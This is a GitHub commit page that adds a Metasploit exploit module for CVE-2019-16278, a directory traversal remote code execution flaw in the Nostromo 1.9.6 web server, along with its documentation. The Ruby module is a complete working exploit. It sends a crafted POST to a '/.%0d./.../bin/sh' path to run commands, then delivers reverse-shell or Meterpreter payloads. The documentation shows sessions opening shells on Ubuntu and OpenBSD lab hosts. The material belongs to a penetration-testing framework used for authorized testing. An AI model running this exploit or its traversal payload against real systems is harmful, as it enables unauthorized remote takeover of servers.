Skip to content
Permalink
Browse files

Land #12476, add Nostromo dir traversal RCE

  • Loading branch information...
space-r7 committed Oct 31, 2019
2 parents a368863 + 99fd254 commit 0b4a0b31480109fc52ebbc228fc00f3c600cf160
@@ -0,0 +1,93 @@
## Vulnerable Application

Verified against:

* Nostromo 1.9.6 on Linux

Nostromo sources can be downloaded from http://www.nazgul.ch/dev_nostromo.html

## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/multi/http/nostromo_code_exec`
4. Do: `set rport <port>`
5. Do: `set rhost <ip>`
6. Do: `check`
7. Do: `set payload linux/x86/meterpreter/reverse_tcp`
8. Do: `set lhost <ip>`
9. Do: `exploit`
10. You should get a shell.

## Scenarios

Example utilizing nostromo 1.9.6 on Ubuntu Linux.

```
msf5 > use exploit/multi/http/nostromo_code_exec
msf5 exploit(multi/http/nostromo_code_exec) > set RHOSTS 192.168.1.9
RHOSTS => 192.168.1.9
msf5 exploit(multi/http/nostromo_code_exec) > set RPORT 8000
RPORT => 8000
msf5 exploit(multi/http/nostromo_code_exec) > check
[*] 192.168.1.9:8000 - The target appears to be vulnerable.
msf5 exploit(multi/http/nostromo_code_exec) > set target 1
target => 1
msf5 exploit(multi/http/nostromo_code_exec) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/http/nostromo_code_exec) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf5 exploit(multi/http/nostromo_code_exec) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/http/nostromo_code_exec) > run
[*] Started reverse TCP handler on 192.168.1.10:4444
[*] Configuring Automatic (Linux Dropper) target
[*] Sending linux/x86/meterpreter/reverse_tcp command stager
[*] Sending stage (985320 bytes) to 192.168.1.9
[*] Meterpreter session 2 opened (192.168.1.10:4444 -> 192.168.1.9:52544) at 2019-10-29 16:08:18 +0100
[*] Command Stager progress - 100.00% done (763/763 bytes)
meterpreter > sysinfo
Computer : nostromo.local
OS : Ubuntu 18.04 (Linux 4.15.0-62-generic)
Architecture : x64
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > exit
[*] Shutting down Meterpreter...
[*] 192.168.1.9 - Meterpreter session 2 closed. Reason: User exit
```

nostromo 1.9.6 on OpenBSD.

```
msf5 > use exploit/multi/http/nostromo_code_exec
msf5 exploit(multi/http/nostromo_code_exec) > set RHOSTS 192.168.1.9
RHOSTS => 192.168.1.9
msf5 exploit(multi/http/nostromo_code_exec) > set RPORT 8001
RPORT => 8001
msf5 exploit(multi/http/nostromo_code_exec) > check
[*] 192.168.1.9:8001 - The target appears to be vulnerable.
msf5 exploit(multi/http/nostromo_code_exec) > set target 0
target => 0
msf5 exploit(multi/http/nostromo_code_exec) > set payload cmd/unix/reverse_perl
payload => cmd/unix/reverse_perl
msf5 exploit(multi/http/nostromo_code_exec) > set LHOST 192.168.1.10
LHOST => 192.168.1.10
msf5 exploit(multi/http/nostromo_code_exec) > set LPORT 4444
LPORT => 4444
msf5 exploit(multi/http/nostromo_code_exec) > run
[*] Started reverse TCP handler on 192.168.1.10:4444
[*] Configuring Automatic (Unix In-Memory) target
[*] Sending cmd/unix/reverse_perl command payload
[*] Command shell session 1 opened (192.168.1.10:4444 -> 192.168.1.9:52312) at 2019-10-29 15:48:28 +0100
id
uid=536(_nostromo) gid=536(_nostromo) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest)
uname -avr
OpenBSD nostromo.local 6.4 GENERIC#349 amd64
^C
Abort session 1? [y/N] y
[*] 192.168.1.9 - Command shell session 1 closed. Reason: User exit
```
@@ -0,0 +1,134 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Nostromo Directory Traversal Remote Command Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in
Nostromo <= 1.9.6. This issue is caused by a directory traversal
in the function `http_verify` in nostromo nhttpd allowing an attacker
to achieve remote code execution via a crafted HTTP request.
},
'Author' =>
[
'Quentin Kaiser <kaiserquentin[at]gmail.com>', # metasploit module
'sp0re', # original public exploit
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2019-16278'],
[ 'URL', 'https://www.sudokaikan.com/2019/10/cve-2019-16278-unauthenticated-remote.html'],
],
'Platform' => ['linux', 'unix'], # OpenBSD, FreeBSD, NetBSD, and Linux
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_ARMLE, ARCH_AARCH64],
'Targets' =>
[
['Automatic (Unix In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'}
}
],
['Automatic (Linux Dropper)',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_ARMLE, ARCH_AARCH64],
'Type' => :linux_dropper,
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'}
}
]
],
'DisclosureDate' => 'Oct 20 2019',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
))

register_advanced_options([
OptBool.new('ForceExploit', [false, 'Override check result', false])
])
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
}
)

unless res
vprint_error("Connection failed")
return CheckCode::Unknown
end

if res.code == 200 and res.headers['Server'] =~ /nostromo [\d.]{5}/
/nostromo (?<version>[\d.]{5})/ =~ res.headers['Server']
if Gem::Version.new(version) <= Gem::Version.new('1.9.6')
return CheckCode::Appears
end
end

return CheckCode::Safe
end

def execute_command(cmd, opts = {})
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/.%0d./.%0d./.%0d./.%0d./bin/sh'),
'headers' => {'Content-Length:' => '1'},
'data' => "echo\necho\n#{cmd} 2>&1"
}
)
end

def exploit
# These CheckCodes are allowed to pass automatically
checkcodes = [
CheckCode::Appears,
CheckCode::Vulnerable
]

unless checkcodes.include?(check) || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end

print_status("Configuring #{target.name} target")

case target['Type']
when :unix_memory
print_status("Sending #{datastore['PAYLOAD']} command payload")
vprint_status("Generated command payload: #{payload.encoded}")

res = execute_command(payload.encoded)

if res && datastore['PAYLOAD'] == 'cmd/unix/generic'
print_warning('Dumping command output in full response body')

if res.body.empty?
print_error('Empty response body, no command output')
return
end

print_line(res.body)
end
when :linux_dropper
print_status("Sending #{datastore['PAYLOAD']} command stager")
execute_cmdstager
end
end
end

0 comments on commit 0b4a0b3

Please sign in to comment.
You can’t perform that action at this time.